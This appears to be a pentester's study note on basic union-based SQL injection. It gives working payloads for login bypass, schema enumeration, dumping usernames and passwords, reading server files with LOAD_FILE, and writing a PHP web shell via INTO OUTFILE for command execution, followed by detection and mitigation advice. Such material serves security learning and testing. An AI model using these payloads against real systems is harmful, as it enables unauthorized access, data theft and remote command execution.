Overview
SQL Injection (SQLi) occurs when unsanitized user input is interpreted as SQL code by a database, allowing attackers to manipulate queries to bypass authentication, extract data, modify records, or execute commands. It is one of the most common and impactful web vulnerabilities.
Types of SQL Injection
SQL Injection Types
| Type | Subtype | Description |
|---|---|---|
| In-Band | Union-Based | Output of the injected query is returned directly to the page — must specify the exact column position to read from |
| In-Band | Error-Based | Application reflects raw DB/backend errors — force an SQL error that leaks query output in the error message |
| Blind | Boolean-Based | No output is returned; use conditional SQL logic and observe whether the page’s response changes (e.g., original content vs. blank/error) to infer true/false |
| Blind | Time-Based | No output and no observable behavior change; use SLEEP() in a conditional so a delayed response confirms a true condition |
| Out-of-Band | — | No direct or inferable channel exists; exfiltrate data via a side channel (e.g., a DNS lookup to an attacker-controlled domain) |
This note focuses on basic Union-based SQL injection, the most direct and commonly encountered variant.
When To Use
- Web application takes user input that is used in a database query
- Login forms, search fields, URL parameters, or any input reflected in a query
- Application returns database errors or behaves differently based on input
Requirements
- Target web application with unsanitized input passed to a SQL query
- Knowledge of basic SQL syntax
- Optional: SQLMap for automated detection and exploitation
Attack Steps
1. Discovery
Identify input fields that interact with a database — login forms, search fields, URL parameters, cookies. Inject a payload one character at a time and watch for errors or a change in page behavior:
| Payload | URL-Encoded |
|---|---|
' | %27 |
" | %22 |
# | %23 |
; | %3B |
) | %29 |
If a quote breaks the page (error, blank response, altered output), the input reaches a query unsanitized. When injecting quotes, either comment out the remainder of the query or balance the quotes so the query stays syntactically valid.
2. Subvert Query Logic
Before reaching for UNION injection, simple queries (e.g., login checks) can often be bypassed by manipulating logic with OR and comments.
OR Injection — Authentication Bypass:
Normal query: SELECT * FROM logins WHERE username='admin' AND password='p@ssw0rd';
Because AND binds tighter than OR, injecting a condition that is always true into either field causes the whole WHERE clause to evaluate true regardless of the other field:
Injected username: admin' OR '1'='1 → SELECT * FROM logins WHERE username='admin' OR '1'='1' AND password='wrong';
The AND clause fails, but '1'='1' on the left of OR is true, so the row still returns.
If the username is unknown, inject the always-true condition into the password field instead: something' OR '1'='1 as the password bypasses auth without needing a valid username.
Using Comments: MySQL supports -- (requires a trailing space, often URL-encoded as --+) and # (%23 encoded) as line comments — everything after is ignored by the parser. Commenting out the rest of the query avoids needing to balance quotes:
admin'-- as the username comments out the password check entirely → SELECT * FROM logins WHERE username='admin'-- ' AND password='...';
Using Parenthesis: Some queries wrap conditions in parenthesis that must also be closed before the comment takes effect, e.g. SELECT * FROM logins WHERE (username='<user>' AND id > 1) AND password='<hash>' requires admin')-- to close the parenthesis before commenting out the rest.
3. UNION-Based Injection — Detect Column Count
A UNION SELECT only succeeds if it selects the same number of columns as the original query. Two methods to find the count:
- ORDER BY — inject
ORDER BY 1,ORDER BY 2, etc., incrementing until an error (“Unknown column”) appears; the last successful number is the column count - UNION — inject
' UNION SELECT 1,2,3--and increase or decrease the column count until the query succeeds instead of erroring
4. Locate the Injection Point
The original query may return more columns than the page actually displays. Note which injected column values (e.g., 2, 3, 4) actually render on the page — those are the positions to place extracted data in. Test with @@version in a displayed position to confirm the database is actually reachable through that column before extracting real data.
5. Fingerprint the DBMS
Confirm the specific database engine before writing enumeration queries — syntax differs across MySQL, MSSQL, PostgreSQL, etc.
| Payload | When to Use | Expected Output (MySQL/MariaDB) |
|---|---|---|
SELECT @@version | Full query output visible | Version string, e.g. 10.3.22-MariaDB-1ubuntu1 |
SELECT POW(1,1) | Only numeric output visible | 1 — errors on other DBMSes |
SELECT SLEEP(5) | Blind / no output | Delays response 5 seconds, returns 0 |
6. Enumerate the Database via INFORMATION_SCHEMA
INFORMATION_SCHEMA is a standard metadata database present on the server that describes every other database, table, and column — reference it with a . since it isn’t the currently selected database.
- List databases:
' UNION SELECT 1,schema_name,3,4 FROM INFORMATION_SCHEMA.SCHEMATA--(ignore the defaultmysql,information_schema,performance_schema,sysentries) - List tables in a database:
' UNION SELECT 1,TABLE_NAME,TABLE_SCHEMA,4 FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='<database_name>'-- - List columns in a table:
' UNION SELECT 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='<table_name>'-- - Dump the data:
' UNION SELECT 1,username,password,4 FROM <database_name>.<table_name>--
7. Read Files via SQL Injection
Reading is far more common than writing since it requires fewer privileges. In MySQL/MariaDB the DB user needs the FILE privilege.
- Check privileges:
SELECT super_priv FROM mysql.useror' UNION SELECT 1,grantee,privilege_type,4 FROM information_schema.user_privileges-- - Read a file with
LOAD_FILE():' UNION SELECT 1,LOAD_FILE("/etc/passwd"),3,4-- - Source code disclosure works the same way, e.g.
LOAD_FILE("/var/www/html/config.php")— if the result renders as HTML, view page source (Ctrl+U) to see the raw output - The OS user running the database process must also have read permission on the target file
8. Write Files via SQL Injection
Writing is far more restricted since it can be used to drop a web shell. All three must be true:
- The DB user has the
FILEprivilege secure_file_privis not restrictive — empty allows writing anywhere, a path restricts writes to that directory,NULLdisables file I/O entirely (check via' UNION SELECT 1,variable_name,variable_value,4 FROM information_schema.global_variables WHERE variable_name="secure_file_priv"--)- The DB process has write access to the target path on disk
Write with INTO OUTFILE: ' UNION SELECT 1,"file written successfully!",3,4 INTO OUTFILE '/var/www/html/proof.txt'--
To drop a web shell, first identify the web root (via LOAD_FILE() on the server’s config — /etc/apache2/apache2.conf, /etc/nginx/nginx.conf, or IIS’s ApplicationHost.config — or by fuzzing common web root paths), then write a minimal PHP shell:
' UNION SELECT 1,"<?php system($_REQUEST[0]); ?>",3,4 INTO OUTFILE '/var/www/html/shell.php'--
Execute commands via the dropped shell: /shell.php?0=id
9. Automate
Escalate manual findings with SQLMap for full automated enumeration and exploitation once a working injection point is confirmed.
Detection
- Unexpected SQL error messages in application responses
- Anomalous database queries in application or server logs
- WAF alerts triggered by SQL syntax in input fields
- Unusual authentication patterns or access to unauthorized records
Mitigation
- Use parameterized queries / prepared statements — never concatenate user input into SQL
- Implement input validation and sanitization
- Deploy a WAF to filter malicious input
- Apply principle of least privilege to database accounts — create scoped, read-only application users rather than connecting as an admin/root account:
CREATE USER 'reader'@'localhost'; GRANT SELECT ON <database>.<table> TO 'reader'@'localhost'; - Disable verbose database error messages in production
Related Knowledge
Related Playbook
Related Tools
References / Images
- SQL Injection Types
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- PortSwigger SQLi Reference: https://portswigger.net/web-security/sql-injection
- PayloadsAllTheThings SQLi Auth Bypass: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#authentication-bypass
- Everything SQL Injection (Basic and Advanced)